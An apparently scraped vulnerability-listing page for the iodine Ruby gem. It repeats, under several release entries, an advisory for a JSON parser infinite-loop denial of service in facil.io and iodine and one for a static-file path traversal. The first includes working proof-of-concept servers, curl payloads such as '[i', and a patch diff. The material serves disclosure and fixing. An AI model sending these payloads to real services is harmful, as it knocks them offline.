            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Oct 04, 2019

0.7.33 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Jul 07, 2019

0.7.32 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 01, 2019

0.7.31 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


